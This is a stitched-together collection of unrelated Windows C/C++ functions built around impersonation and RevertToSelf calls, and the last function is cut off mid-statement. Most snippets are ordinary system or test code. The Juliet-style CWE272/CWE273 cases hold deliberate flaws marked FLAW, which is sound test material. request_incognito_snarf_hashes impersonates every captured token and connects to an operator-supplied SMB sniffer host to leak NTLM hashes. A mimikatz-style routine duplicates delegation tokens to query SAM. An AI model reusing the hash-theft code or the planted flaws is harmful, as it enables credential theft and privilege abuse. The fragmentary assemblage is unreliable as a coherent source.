bool SecurityHelper::ImpersonateAndGetUserName(HANDLE hToken, wchar_t* name, int cch) { bool result = false; if (ImpersonateLoggedOnUser(hToken)) { DWORD cchName = cch; if (GetUserName(name, &cchName)) result = true; else LCF1(L"GetUserName failed: %d", GetLastError()); RevertToSelf(); } else LCF1(L"ImpersonateLoggedOnUser failed: %d", GetLastError()); return result; }
/* good1() uses if(staticFive!=5) instead of if(staticFive==5) */ static void good1() { if(staticFive!=5) { /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */ printLine("Benign, fixed string"); } else { { HANDLE hPipe = INVALID_HANDLE_VALUE; hPipe = CreateNamedPipeA( "\\\\.\\pipe\\test_pipe", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUFSIZE, BUFSIZE, NMPWAIT_USE_DEFAULT_WAIT, NULL); if (hPipe == INVALID_HANDLE_VALUE) { exit(1); } /* ConnectNamedPipe returns failure if a client connected between CreateNamedPipe and now, * which isn't actually an error in terms of waiting for a client. */ if (!ConnectNamedPipe(hPipe, NULL) && GetLastError() != ERROR_PIPE_CONNECTED) { CloseHandle(hPipe); exit(1); } /* FIX: Check if "ImpersonateNamedPipeClient" succeeded or not */ if (!ImpersonateNamedPipeClient(hPipe)) { printLine("Failed to impersonate"); } else { printLine("Impersonated"); if (!RevertToSelf()) { exit(1); } } CloseHandle(hPipe); } } }
// ROUTINE TO PROCESS AN INCOMING INSTANCE OF THE ABOVE MESSAGE BOOL vncService::ProcessUserHelperMessage(WPARAM wParam, LPARAM lParam) { // - Check the platform type if (!IsWinNT() || !vncService::RunningAsService()) return TRUE; // - Close the HKEY_CURRENT_USER key, to force NT to reload it for the new user // NB: Note that this is _really_ dodgy if ANY other thread is accessing the key! if (RegCloseKey(HKEY_CURRENT_USER) != ERROR_SUCCESS) { vnclog.Print(LL_INTERR, VNCLOG("failed to close current registry hive\n")); return FALSE; } // - Revert to our own identity RevertToSelf(); g_impersonating_user = FALSE; // - Open the specified process HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, (DWORD)lParam); if (processHandle == NULL) { vnclog.Print(LL_INTERR, VNCLOG("failed to open specified process, error=%d\n"), GetLastError()); return FALSE; } // - Get the token for the given process HANDLE userToken = NULL; if (!OpenProcessToken(processHandle, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE, &userToken)) { vnclog.Print(LL_INTERR, VNCLOG("failed to get user token, error=%d\n"), GetLastError()); CloseHandle(processHandle); return FALSE; } CloseHandle(processHandle); // - Set this thread to impersonate them if (!ImpersonateLoggedOnUser(userToken)) { vnclog.Print(LL_INTERR, VNCLOG("failed to impersonate user, error=%d\n"), GetLastError()); CloseHandle(userToken); return FALSE; } CloseHandle(userToken); g_impersonating_user = TRUE; vnclog.Print(LL_INTINFO, VNCLOG("impersonating logged on user\n")); return TRUE; }
void Impersonator::revertToSelf() { if (m_dupToken != INVALID_HANDLE_VALUE) { CloseHandle(m_dupToken); } if (m_token != INVALID_HANDLE_VALUE) { CloseHandle(m_token); } m_dupToken = INVALID_HANDLE_VALUE; m_token = INVALID_HANDLE_VALUE; if (!RevertToSelf()) { throw SystemException(); } }
// ROUTINE TO PROCESS AN INCOMING INSTANCE OF THE ABOVE MESSAGE BOOL vncService::ProcessUserHelperMessage(DWORD processId) { // - Check the platform type if (!IsWinNT() || !vncService::RunningAsService()) return TRUE; // - Close the HKEY_CURRENT_USER key, to force NT to reload it for the new user // NB: Note that this is _really_ dodgy if ANY other thread is accessing the key! if (RegCloseKey(HKEY_CURRENT_USER) != ERROR_SUCCESS) { return FALSE; } // - Revert to our own identity RevertToSelf(); g_impersonating_user = FALSE; CloseHandle(g_impersonation_token); g_impersonation_token = 0; // - Open the specified process HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, processId); if (processHandle == NULL) { return FALSE; } // - Get the token for the given process HANDLE userToken = NULL; if (!OpenProcessToken(processHandle, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE, &userToken)) { CloseHandle(processHandle); return FALSE; } CloseHandle(processHandle); // - Set this thread to impersonate them if (!ImpersonateLoggedOnUser(userToken)) { CloseHandle(userToken); return FALSE; } g_impersonating_user = TRUE; g_impersonation_token = userToken; return TRUE; }
/* good1() uses if(5!=5) instead of if(5==5) */ static void good1() { if(5!=5) { /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */ printLine("Benign, fixed string"); } else { { STARTUPINFOA si; PROCESS_INFORMATION pi; HANDLE pHandle = NULL; /* FIX: The commandLine parameter to CreateProcessAsUser() contains quotes surrounding the executable path. */ if(!CreateProcessAsUserA(pHandle, NULL, "\"C:\\Program Files\\GoodApp\" arg1 arg2", NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi)) { printLine("CreateProcessAsUser failed"); RevertToSelf(); CloseHandle(pHandle); return; } else { printLine("CreateProcessAUser successful"); } /* Wait until child process exits. */ WaitForSingleObject(pi.hProcess, INFINITE); /* Close process and thread handles.*/ CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(pHandle); } } }
static DWORD WINAPI LogoffShutdownThread( LPVOID Parameter) { DWORD ret = 1; PLOGOFF_SHUTDOWN_DATA LSData = (PLOGOFF_SHUTDOWN_DATA)Parameter; UINT uFlags; if (LSData->Session->UserToken != NULL && !ImpersonateLoggedOnUser(LSData->Session->UserToken)) { ERR("ImpersonateLoggedOnUser() failed with error %lu\n", GetLastError()); return 0; } // FIXME: To be really fixed: need to check what needs to be kept and what needs to be removed there. // // uFlags = EWX_INTERNAL_KILL_USER_APPS | (LSData->Flags & EWX_FLAGS_MASK) | // ((LSData->Flags & EWX_ACTION_MASK) == EWX_LOGOFF ? EWX_CALLER_WINLOGON_LOGOFF : 0); uFlags = EWX_CALLER_WINLOGON | (LSData->Flags & 0x0F); TRACE("In LogoffShutdownThread with uFlags == 0x%x; exit_in_progress == %s\n", uFlags, ExitReactOSInProgress ? "true" : "false"); ExitReactOSInProgress = TRUE; /* Close processes of the interactive user */ if (!ExitWindowsEx(uFlags, 0)) { ERR("Unable to kill user apps, error %lu\n", GetLastError()); ret = 0; } /* Cancel all the user connections */ WNetClearConnections(0); if (LSData->Session->UserToken) RevertToSelf(); return ret; }
void CWE272_Least_Privilege_Violation__w32_wchar_t_CreateProcessAsUser_16_bad() { while(1) { { STARTUPINFOW si; PROCESS_INFORMATION pi; HANDLE pHandle = NULL; /* FLAW: The commandLine parameter to CreateProcessAsUser() contains a space in it and does not surround the executable path with quotes. A malicious executable could be run because of the way the function parses spaces. The process will attempt to run "Program.exe," if it exists, instead of the intended "GoodApp.exe" */ if(!CreateProcessAsUserW(pHandle, NULL, L"C:\\Program Files\\GoodApp arg1 arg2", NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi)) { printLine("CreateProcessAsUser failed"); RevertToSelf(); CloseHandle(pHandle); return; } else { printLine("CreateProcessAUser successful"); } /* Wait until child process exits. */ WaitForSingleObject(pi.hProcess, INFINITE); /* Close process and thread handles.*/ CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(pHandle); } break; } }
/* good1() uses the GoodSinkBody in the while loop */ static void good1() { while(1) { { STARTUPINFOW si; PROCESS_INFORMATION pi; HANDLE pHandle = NULL; /* FIX: The commandLine parameter to CreateProcessAsUser() contains quotes surrounding the executable path. */ if(!CreateProcessAsUserW(pHandle, NULL, L"\"C:\\Program Files\\GoodApp\" arg1 arg2", NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi)) { printLine("CreateProcessAsUser failed"); RevertToSelf(); CloseHandle(pHandle); return; } else { printLine("CreateProcessAUser successful"); } /* Wait until child process exits. */ WaitForSingleObject(pi.hProcess, INFINITE); /* Close process and thread handles.*/ CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(pHandle); } break; } }
/* * Switch to the input desktop and set it as this threads desktop. */ HDESK vncdll_getinputdesktop( BOOL bSwitchStation ) { DWORD dwResult = ERROR_ACCESS_DENIED; HWINSTA hWindowStation = NULL; HDESK hInputDesktop = NULL; HWND hDesktopWnd = NULL; do { if( bSwitchStation ) { // open the WinSta0 as some services are attached to a different window station. hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); if( !hWindowStation ) { if( RevertToSelf() ) hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); } // if we cant open the defaut input station we wont be able to take a screenshot if( !hWindowStation ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_getinputdesktop: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE ); // set the host process's window station to this sessions default input station we opened if( !SetProcessWindowStation( hWindowStation ) ) BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: SetProcessWindowStation failed" ); } // grab a handle to the default input desktop (e.g. Default or WinLogon) hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED ); if( !hInputDesktop ) BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: OpenInputDesktop failed" ); // set this threads desktop to that of this sessions default input desktop on WinSta0 SetThreadDesktop( hInputDesktop ); } while( 0 ); return hInputDesktop; }
void CWE273_Improper_Check_for_Dropped_Privileges__w32_ImpersonateNamedPipeClient_07_bad() { if(staticFive==5) { { HANDLE hPipe = INVALID_HANDLE_VALUE; hPipe = CreateNamedPipeA( "\\\\.\\pipe\\test_pipe", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUFSIZE, BUFSIZE, NMPWAIT_USE_DEFAULT_WAIT, NULL); if (hPipe == INVALID_HANDLE_VALUE) { exit(1); } /* ConnectNamedPipe returns failure if a client connected between CreateNamedPipe and now, * which isn't actually an error in terms of waiting for a client. */ if (!ConnectNamedPipe(hPipe, NULL) && GetLastError() != ERROR_PIPE_CONNECTED) { CloseHandle(hPipe); exit(1); } /* FLAW: Failed to check return status of ImpersonateNamedPipeClient * -- However, since we're not even DOING anything with the pipe * it's debatable whether this is really a bug */ ImpersonateNamedPipeClient(hPipe); printLine("Impersonated"); if (!RevertToSelf()) { exit(1); } CloseHandle(hPipe); } } }
MonoBoolean ves_icall_System_Security_Principal_WindowsImpersonationContext_RevertToSelf (MonoError *error) { #ifdef HOST_WIN32 return (RevertToSelf () != 0); #else #ifdef HAVE_GETRESUID uid_t ruid, euid; #endif uid_t suid = -1; #ifdef HAVE_GETRESUID if (getresuid (&ruid, &euid, &suid) < 0) return FALSE; #endif #ifdef HAVE_SETRESUID if (setresuid (-1, suid, -1) < 0) return FALSE; #else return TRUE; #endif return geteuid () == suid; #endif }
void do_map_drive(int & error_code) { unmap_drive(); char share[256]=" ;103<;01"; logon(error_code); if (server_user){ ImpersonateLoggedOnUser(server_user); if (read_key("03",(unsigned char *)share,sizeof(share))) { char * finger=share; int bs=4; while (*finger&&bs) { if (*finger=='\\') bs--; if (!bs) *finger=0; finger++; } logfile("map %s\r\n",share); char user[256]=" ;103<;01",password[256]=" ;103<;01"; read_key("01",(unsigned char *)user,sizeof(user)); read_key("02",(unsigned char *)password,sizeof(password)); unscr(user); unscr(password); NETRESOURCE ns={RESOURCE_CONNECTED,RESOURCETYPE_DISK,RESOURCEDISPLAYTYPE_SHARE,0,maped_drive,share,"test",0}; int ec=WNetAddConnection2(&ns,password,user,0/*CONNECT_UPDATE_PROFILE*/); if (NO_ERROR!=ec) { error_code=ec; logfile("WNetAddConnection2 failed %i %s\r\n",ec,share); } drive_maped=true; } else { error_code=267L; logfile("directory not defined\r\n"); } RevertToSelf(); } }
// Send off hashes for all tokens to IP address with SMB sniffer running DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet) { DWORD num_tokens = 0, i; SavedToken *token_list = NULL; NETRESOURCEW nr; HANDLE saved_token; TOKEN_PRIVS token_privs; wchar_t conn_string[BUF_SIZE] = L"", domain_name[BUF_SIZE] = L"", return_value[BUF_SIZE] = L"", temp[BUF_SIZE] = L""; Packet *response = packet_create_response(packet); char *smb_sniffer_ip = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); // Initialise net_resource structure (essentially just set ip to that of smb_sniffer) if (_snwprintf(conn_string, BUF_SIZE, L"\\\\%s", smb_sniffer_ip) == -1) { conn_string[BUF_SIZE - 1] = '\0'; } nr.dwType = RESOURCETYPE_ANY; nr.lpLocalName = NULL; nr.lpProvider = NULL; nr.lpRemoteName = conn_string; // Save current thread token if one is currently being impersonated if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token)) saved_token = INVALID_HANDLE_VALUE; token_list = get_token_list(&num_tokens, &token_privs); if (!token_list) { packet_transmit_response(GetLastError(), remote, response); goto cleanup; } // Use every token and get hashes by connecting to SMB sniffer for (i = 0; i < num_tokens; i++) { if (token_list[i].token) { get_domain_from_token(token_list[i].token, domain_name, BUF_SIZE); // If token is not "useless" local account connect to sniffer // XXX This may need some expansion to support other languages if (_wcsicmp(domain_name, L"NT AUTHORITY")) { // Impersonate token ImpersonateLoggedOnUser(token_list[i].token); // Cancel previous connection to ensure hashes are sent and existing connection isn't reused WNetCancelConnection2W(nr.lpRemoteName, 0, TRUE); // Connect to smb sniffer if (!WNetAddConnection2W(&nr, NULL, NULL, 0)) { // Revert to primary token RevertToSelf(); } } CloseHandle(token_list[i].token); } } packet_transmit_response(ERROR_SUCCESS, remote, response); cleanup: free(token_list); // Restore token impersonation if (saved_token != INVALID_HANDLE_VALUE) { ImpersonateLoggedOnUser(saved_token); } return ERROR_SUCCESS; }
BOOL SetDefaultLanguage( IN PWLSESSION Session) { BOOL ret = FALSE; BOOL UserProfile; LONG rc; HKEY UserKey, hKey = NULL; LPCWSTR SubKey, ValueName; DWORD dwType, dwSize; LPWSTR Value = NULL; UNICODE_STRING ValueString; NTSTATUS Status; LCID Lcid; UserProfile = (Session && Session->UserToken); if (UserProfile && !ImpersonateLoggedOnUser(Session->UserToken)) { ERR("WL: ImpersonateLoggedOnUser() failed with error %lu\n", GetLastError()); return FALSE; // FIXME: ... or use the default language of the system?? // UserProfile = FALSE; } if (UserProfile) { rc = RegOpenCurrentUser(MAXIMUM_ALLOWED, &UserKey); if (rc != ERROR_SUCCESS) { TRACE("RegOpenCurrentUser() failed with error %lu\n", rc); goto cleanup; } SubKey = L"Control Panel\\International"; ValueName = L"Locale"; } else { UserKey = NULL; SubKey = L"System\\CurrentControlSet\\Control\\Nls\\Language"; ValueName = L"Default"; } rc = RegOpenKeyExW(UserKey ? UserKey : HKEY_LOCAL_MACHINE, SubKey, 0, KEY_READ, &hKey); if (UserKey) RegCloseKey(UserKey); if (rc != ERROR_SUCCESS) { TRACE("RegOpenKeyEx() failed with error %lu\n", rc); goto cleanup; } rc = RegQueryValueExW(hKey, ValueName, NULL, &dwType, NULL, &dwSize); if (rc != ERROR_SUCCESS) { TRACE("RegQueryValueEx() failed with error %lu\n", rc); goto cleanup; } else if (dwType != REG_SZ) { TRACE("Wrong type for %S\\%S registry entry (got 0x%lx, expected 0x%x)\n", SubKey, ValueName, dwType, REG_SZ); goto cleanup; } Value = HeapAlloc(GetProcessHeap(), 0, dwSize); if (!Value) { TRACE("HeapAlloc() failed\n"); goto cleanup; } rc = RegQueryValueExW(hKey, ValueName, NULL, NULL, (LPBYTE)Value, &dwSize); if (rc != ERROR_SUCCESS) { TRACE("RegQueryValueEx() failed with error %lu\n", rc); goto cleanup; } /* Convert Value to a Lcid */ ValueString.Length = ValueString.MaximumLength = (USHORT)dwSize; ValueString.Buffer = Value; Status = RtlUnicodeStringToInteger(&ValueString, 16, (PULONG)&Lcid); if (!NT_SUCCESS(Status)) { TRACE("RtlUnicodeStringToInteger() failed with status 0x%08lx\n", Status); goto cleanup; } TRACE("%s language is 0x%08lx\n", UserProfile ? "User" : "System", Lcid); Status = NtSetDefaultLocale(UserProfile, Lcid); if (!NT_SUCCESS(Status)) { TRACE("NtSetDefaultLocale() failed with status 0x%08lx\n", Status); goto cleanup; } ret = TRUE; cleanup: if (Value) HeapFree(GetProcessHeap(), 0, Value); if (hKey) RegCloseKey(hKey); if (UserProfile) RevertToSelf(); return ret; }
void impersonateToGetData(PCSTR user, PCSTR domain, PCSTR password, PCSTR kdc, PSID *sid, DWORD *rid, PCSTR usingWhat) { NTSTATUS status; DWORD ret, *aRid, *usage; ANSI_STRING aUser, aKdc, aDomain, aPass, aProg; UNICODE_STRING uUser, uKdc, uDomain, uPass, uProg; SAMPR_HANDLE hServerHandle, hDomainHandle; PSID domainSid; HANDLE hToken, hNewToken; PROCESS_INFORMATION processInfos; STARTUPINFOW startupInfo; RtlZeroMemory(&startupInfo, sizeof(STARTUPINFOW)); startupInfo.cb = sizeof(STARTUPINFOW); RtlInitString(&aUser, user); RtlInitString(&aKdc, kdc); RtlInitString(&aDomain, domain); RtlInitString(&aPass, password); RtlInitString(&aProg, usingWhat ? usingWhat : "winver.exe"); if(NT_SUCCESS(RtlAnsiStringToUnicodeString(&uUser, &aUser, TRUE))) { if(NT_SUCCESS(RtlAnsiStringToUnicodeString(&uKdc, &aKdc, TRUE))) { if(NT_SUCCESS(RtlAnsiStringToUnicodeString(&uDomain, &aDomain, TRUE))) { if(NT_SUCCESS(RtlAnsiStringToUnicodeString(&uPass, &aPass, TRUE))) { if(NT_SUCCESS(RtlAnsiStringToUnicodeString(&uProg, &aProg, TRUE))) { if(CreateProcessWithLogonW(uUser.Buffer, uDomain.Buffer, uPass.Buffer, LOGON_NETCREDENTIALS_ONLY, uProg.Buffer, NULL, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfos)) { if(OpenProcessToken(processInfos.hProcess, TOKEN_DUPLICATE, &hToken)) { if(DuplicateTokenEx(hToken, TOKEN_QUERY | TOKEN_IMPERSONATE, NULL, SecurityDelegation, TokenImpersonation, &hNewToken)) { if(SetThreadToken(NULL, hNewToken)) { kprintf("[AUTH] Impersonation\n"); if(!(*sid && *rid)) { kprintf("[SID/RID] \'%s @ %s\' must be translated to SID/RID\n", user, domain); status = SamConnect(&uKdc, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_LOOKUP_DOMAIN, FALSE); if(NT_SUCCESS(status)) { status = SamLookupDomainInSamServer(hServerHandle, &uDomain, &domainSid); if(NT_SUCCESS(status)) { status = SamOpenDomain(hServerHandle, DOMAIN_LIST_ACCOUNTS | DOMAIN_LOOKUP, domainSid, &hDomainHandle); if(NT_SUCCESS(status)) { status = SamLookupNamesInDomain(hDomainHandle, 1, &uUser, &aRid, &usage); if(NT_SUCCESS(status)) *rid = *aRid; else PRINT_ERROR("SamLookupNamesInDomain %08x\n", status); } else PRINT_ERROR("SamOpenDomain %08x\n", status); ret = GetLengthSid(domainSid); if(*sid = (PSID) LocalAlloc(LPTR, ret)) { if(!CopySid(ret, *sid, domainSid)) { *sid = (PSID) LocalFree(*sid); PRINT_ERROR_AUTO("CopySid"); } } SamFreeMemory(domainSid); } else PRINT_ERROR("SamLookupDomainInSamServer %08x\n", status); SamCloseHandle(hServerHandle); } else PRINT_ERROR("SamConnect %08x\n", status); } RevertToSelf(); } else PRINT_ERROR_AUTO("SetThreadToken"); CloseHandle(hNewToken); } else PRINT_ERROR_AUTO("DuplicateTokenEx"); CloseHandle(hToken); } else PRINT_ERROR_AUTO("OpenProcessToken"); TerminateProcess(processInfos.hProcess, 0); CloseHandle(processInfos.hProcess); CloseHandle(processInfos.hThread); } else PRINT_ERROR_AUTO("CreateProcessWithLogonW"); RtlFreeUnicodeString(&uProg); } RtlFreeUnicodeString(&uPass); } RtlFreeUnicodeString(&uDomain); } RtlFreeUnicodeString(&uKdc); } RtlFreeUnicodeString(&uUser); } }
// Execute the requested client command DWORD Execute( HANDLE hPipe, RemComMessage* pMsg, DWORD* pReturnCode ) { PROCESS_INFORMATION pi; STARTUPINFO si; ::ZeroMemory( &si, sizeof(si) ); si.cb = sizeof(si); SECURITY_ATTRIBUTES saAttr; saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = true; saAttr.lpSecurityDescriptor = NULL; HANDLE hStdoutRead = INVALID_HANDLE_VALUE, hStdoutWrite = INVALID_HANDLE_VALUE; HANDLE hStdinRead = INVALID_HANDLE_VALUE, hStdinWrite = INVALID_HANDLE_VALUE; if (!CreatePipe(&hStdoutRead, &hStdoutWrite, &saAttr, 0)) return 20000+GetLastError(); if (!SetHandleInformation(hStdoutRead, HANDLE_FLAG_INHERIT, 0)) return 30000+GetLastError(); // don't inherit the reader end if (!CreatePipe(&hStdinRead, &hStdinWrite, &saAttr, 0)) return 40000+GetLastError(); if (!SetHandleInformation(hStdinWrite, HANDLE_FLAG_INHERIT, 0)) return 50000+GetLastError(); // don't inherit the reader end si.hStdInput = hStdinRead; si.hStdOutput = hStdoutWrite; si.hStdError = hStdoutWrite; si.dwFlags |= STARTF_USESTDHANDLES; *pReturnCode = 0; // Initializes command // cmd.exe /c /q allows us to execute internal dos commands too. TCHAR szCommand[_MAX_PATH]; _stprintf_s( szCommand, sizeof(szCommand), _T("cmd.exe /q /c \"%s\""), pMsg->szCommand ); if (!::ImpersonateNamedPipeClient(hPipe)) return 60000+GetLastError(); HANDLE hImpersonationToken,hPrimaryToken; if (!::OpenThreadToken(::GetCurrentThread(),TOKEN_ALL_ACCESS,TRUE,&hImpersonationToken)) return 70000+GetLastError(); if (!::DuplicateTokenEx(hImpersonationToken,MAXIMUM_ALLOWED,0, SecurityIdentification, TokenPrimary,&hPrimaryToken)) return 80000+GetLastError(); CloseHandle(hImpersonationToken); RevertToSelf(); // Start the requested process if ( CreateProcessAsUser(hPrimaryToken, NULL, szCommand, NULL, NULL, TRUE, pMsg->dwPriority | CREATE_NO_WINDOW, NULL, pMsg->szWorkingDir[0] != _T('\0') ? pMsg->szWorkingDir : NULL, &si, &pi ) ) { HANDLE hProcess = pi.hProcess; // these handles are meant only for the child process, otherwise we'll block forever CloseHandle(hStdinRead); CloseHandle(hStdoutWrite); // pump the stdin from the client to the child process // in a different thread CopyThreadParams* ctp = new CopyThreadParams(); ctp->hPipe = hPipe; ctp->hStdin = hStdinWrite; _beginthread(CopyStream,0,ctp); // feed the output from the child process to the client while (true) { byte buf[1024]; DWORD dwRead = 0, dwWritten; if (!::ReadFile(hStdoutRead,buf+4,sizeof(buf)-4,&dwRead,NULL) || dwRead==0) break; *((DWORD*)buf) = dwRead; ::WriteFile(hPipe, buf, sizeof(DWORD)+dwRead, &dwWritten, NULL); } *pReturnCode = 0; // Waiting for process to terminate WaitForSingleObject( hProcess, INFINITE ); GetExitCodeProcess( hProcess, pReturnCode ); return 0; } else { // error code 1314 here means the user of this process // doesn't have the privilege to call CreateProcessAsUser. // when this is run as a service, the LOCAL_SYSTEM user // has a privilege to do it, but if you run this under // the debugger, your user account might not have that privilege. // // to fix that, go to control panel / administartive tools / local security policy // user rights / replace process token level // and make sure your user is in. // once the above is set, the system needs to be restarted. return 10000+GetLastError(); } }
void PerfDataRefresh(void) { ULONG ulSize; LONG status; LPBYTE pBuffer; ULONG BufferSize; PSYSTEM_PROCESS_INFORMATION pSPI; PPERFDATA pPDOld; ULONG Idx, Idx2; HANDLE hProcess; HANDLE hProcessToken; TCHAR szTemp[MAX_PATH]; DWORD dwSize; SYSTEM_PERFORMANCE_INFORMATION SysPerfInfo; SYSTEM_TIME_INFORMATION SysTimeInfo; SYSTEM_CACHE_INFORMATION SysCacheInfo; LPBYTE SysHandleInfoData; PSYSTEM_PROCESSORTIME_INFO SysProcessorTimeInfo; double CurrentKernelTime; if (!NtQuerySystemInformation) return; /* Get new system time */ status = NtQuerySystemInformation(SystemTimeInformation, &SysTimeInfo, sizeof(SysTimeInfo), 0); if (status != NO_ERROR) return; /* Get new CPU's idle time */ status = NtQuerySystemInformation(SystemPerformanceInformation, &SysPerfInfo, sizeof(SysPerfInfo), NULL); if (status != NO_ERROR) return; /* Get system cache information */ status = NtQuerySystemInformation(SystemCacheInformation, &SysCacheInfo, sizeof(SysCacheInfo), NULL); if (status != NO_ERROR) return; /* Get processor time information */ SysProcessorTimeInfo = HeapAlloc(GetProcessHeap(), 0, sizeof(SYSTEM_PROCESSORTIME_INFO) * SystemBasicInfo.bKeNumberProcessors); status = NtQuerySystemInformation(SystemProcessorTimeInformation, SysProcessorTimeInfo, sizeof(SYSTEM_PROCESSORTIME_INFO) * SystemBasicInfo.bKeNumberProcessors, &ulSize); if (status != NO_ERROR) { HeapFree(GetProcessHeap(), 0, SysProcessorTimeInfo); return; } /* Get handle information * We don't know how much data there is so just keep * increasing the buffer size until the call succeeds */ BufferSize = 0; do { BufferSize += 0x10000; SysHandleInfoData = HeapAlloc(GetProcessHeap(), 0, BufferSize); status = NtQuerySystemInformation(SystemHandleInformation, SysHandleInfoData, BufferSize, &ulSize); if (status == 0xC0000004 /*STATUS_INFO_LENGTH_MISMATCH*/) { HeapFree(GetProcessHeap(), 0, SysHandleInfoData); } } while (status == 0xC0000004 /*STATUS_INFO_LENGTH_MISMATCH*/); /* Get process information * We don't know how much data there is so just keep * increasing the buffer size until the call succeeds */ BufferSize = 0; do { BufferSize += 0x10000; pBuffer = HeapAlloc(GetProcessHeap(), 0, BufferSize); status = NtQuerySystemInformation(SystemProcessInformation, pBuffer, BufferSize, &ulSize); if (status == 0xC0000004 /*STATUS_INFO_LENGTH_MISMATCH*/) { HeapFree(GetProcessHeap(), 0, pBuffer); } } while (status == 0xC0000004 /*STATUS_INFO_LENGTH_MISMATCH*/); EnterCriticalSection(&PerfDataCriticalSection); /* * Save system performance info */ memcpy(&SystemPerfInfo, &SysPerfInfo, sizeof(SYSTEM_PERFORMANCE_INFORMATION)); /* * Save system cache info */ memcpy(&SystemCacheInfo, &SysCacheInfo, sizeof(SYSTEM_CACHE_INFORMATION)); /* * Save system processor time info */ HeapFree(GetProcessHeap(), 0, SystemProcessorTimeInfo); SystemProcessorTimeInfo = SysProcessorTimeInfo; /* * Save system handle info */ memcpy(&SystemHandleInfo, SysHandleInfoData, sizeof(SYSTEM_HANDLE_INFORMATION)); HeapFree(GetProcessHeap(), 0, SysHandleInfoData); for (CurrentKernelTime=0, Idx=0; Idx<SystemBasicInfo.bKeNumberProcessors; Idx++) { CurrentKernelTime += Li2Double(SystemProcessorTimeInfo[Idx].KernelTime); CurrentKernelTime += Li2Double(SystemProcessorTimeInfo[Idx].DpcTime); CurrentKernelTime += Li2Double(SystemProcessorTimeInfo[Idx].InterruptTime); } /* If it's a first call - skip idle time calcs */ if (liOldIdleTime.QuadPart != 0) { /* CurrentValue = NewValue - OldValue */ dbIdleTime = Li2Double(SysPerfInfo.liIdleTime) - Li2Double(liOldIdleTime); dbKernelTime = CurrentKernelTime - OldKernelTime; dbSystemTime = Li2Double(SysTimeInfo.liKeSystemTime) - Li2Double(liOldSystemTime); /* CurrentCpuIdle = IdleTime / SystemTime */ dbIdleTime = dbIdleTime / dbSystemTime; dbKernelTime = dbKernelTime / dbSystemTime; /* CurrentCpuUsage% = 100 - (CurrentCpuIdle * 100) / NumberOfProcessors */ dbIdleTime = 100.0 - dbIdleTime * 100.0 / (double)SystemBasicInfo.bKeNumberProcessors; /* + 0.5; */ dbKernelTime = 100.0 - dbKernelTime * 100.0 / (double)SystemBasicInfo.bKeNumberProcessors; /* + 0.5; */ } /* Store new CPU's idle and system time */ liOldIdleTime = SysPerfInfo.liIdleTime; liOldSystemTime = SysTimeInfo.liKeSystemTime; OldKernelTime = CurrentKernelTime; /* Determine the process count * We loop through the data we got from NtQuerySystemInformation * and count how many structures there are (until RelativeOffset is 0) */ ProcessCountOld = ProcessCount; ProcessCount = 0; pSPI = (PSYSTEM_PROCESS_INFORMATION)pBuffer; while (pSPI) { ProcessCount++; if (pSPI->RelativeOffset == 0) break; pSPI = (PSYSTEM_PROCESS_INFORMATION)((LPBYTE)pSPI + pSPI->RelativeOffset); } /* Now alloc a new PERFDATA array and fill in the data */ HeapFree(GetProcessHeap(), 0, pPerfDataOld); pPerfDataOld = pPerfData; pPerfData = HeapAlloc(GetProcessHeap(), 0, sizeof(PERFDATA) * ProcessCount); pSPI = (PSYSTEM_PROCESS_INFORMATION)pBuffer; for (Idx=0; Idx<ProcessCount; Idx++) { /* Get the old perf data for this process (if any) */ /* so that we can establish delta values */ pPDOld = NULL; for (Idx2=0; Idx2<ProcessCountOld; Idx2++) { if (pPerfDataOld[Idx2].ProcessId == pSPI->ProcessId) { pPDOld = &pPerfDataOld[Idx2]; break; } } /* Clear out process perf data structure */ memset(&pPerfData[Idx], 0, sizeof(PERFDATA)); if (pSPI->Name.Buffer) lstrcpyW(pPerfData[Idx].ImageName, pSPI->Name.Buffer); else { static const WCHAR idleW[] = {'S','y','s','t','e','m',' ','I','d','l','e',' ','P','r','o','c','e','s','s',0}; lstrcpyW(pPerfData[Idx].ImageName, idleW ); } pPerfData[Idx].ProcessId = pSPI->ProcessId; if (pPDOld) { double CurTime = Li2Double(pSPI->KernelTime) + Li2Double(pSPI->UserTime); double OldTime = Li2Double(pPDOld->KernelTime) + Li2Double(pPDOld->UserTime); double CpuTime = (CurTime - OldTime) / dbSystemTime; CpuTime = CpuTime * 100.0 / (double)SystemBasicInfo.bKeNumberProcessors; /* + 0.5; */ pPerfData[Idx].CPUUsage = (ULONG)CpuTime; } pPerfData[Idx].CPUTime.QuadPart = pSPI->UserTime.QuadPart + pSPI->KernelTime.QuadPart; 